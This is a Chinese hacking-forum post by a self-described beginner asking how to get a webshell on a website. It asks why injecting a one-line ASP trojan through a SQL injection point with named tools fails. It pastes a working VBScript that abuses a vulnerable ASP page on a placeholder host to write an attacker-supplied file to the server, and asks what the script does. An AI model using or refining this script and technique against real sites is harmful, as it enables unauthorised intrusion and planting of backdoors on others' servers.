很明显我看过这个动画~~~~~~~~~~~~~~~
但是~~~~~“系统提示我:系统禁止~~~~直接~~~~~转入后台管理页面”说明如果没限制的话,我就得到wedshell了~~~~~~~~~~怎么才能拿wedshell?
另外!~~~~用明小子工具直接从注入点向数据库里面写一句话木马的asp文件(或者是海洋2006的server.asp),还是连不上~~是怎么回事呢?
最后~~~关键之所在:我E文不太好+++++C没学好======“with wscript
if .arguments.count<2 then .quit
ffn=replace(.arguments(1),"\","%5C"):ffn=replace(ffn,":","%3A"):ffn=replace(ffn,"~","%7E")
url= "http://www.xxxx.com/a.asp?a=with+server.createobject%28%22adodb.stream%22%29%0D%0A.type%3D1%0D%0A.open%0D%0A.write+request.binaryread%28request.totalbytes%29%0D%0A.savetofile+%22"&ffn&"%22%2C2%0D%0Aend+with%0D%0AResponse.end"
fn=.arguments(0) end with with createobject("adodb.stream") .type=1:.open:.loadfromfile fn:s=.read:.close end with with createobject("microsoft.xmlhttp") .open "post",url,false:.send s wscript.echo .statustext end with”到底是什么意思?是不是用命令写入一个可写的*.asp文件呢?邪恶八进制我曾经找到这样的文章~~~~~但是~~~~没有记下来~~~~~~~~~~~~~~~~~菜到天崩地裂也不要笑我呀~~~~~~~~~~~~5555………… |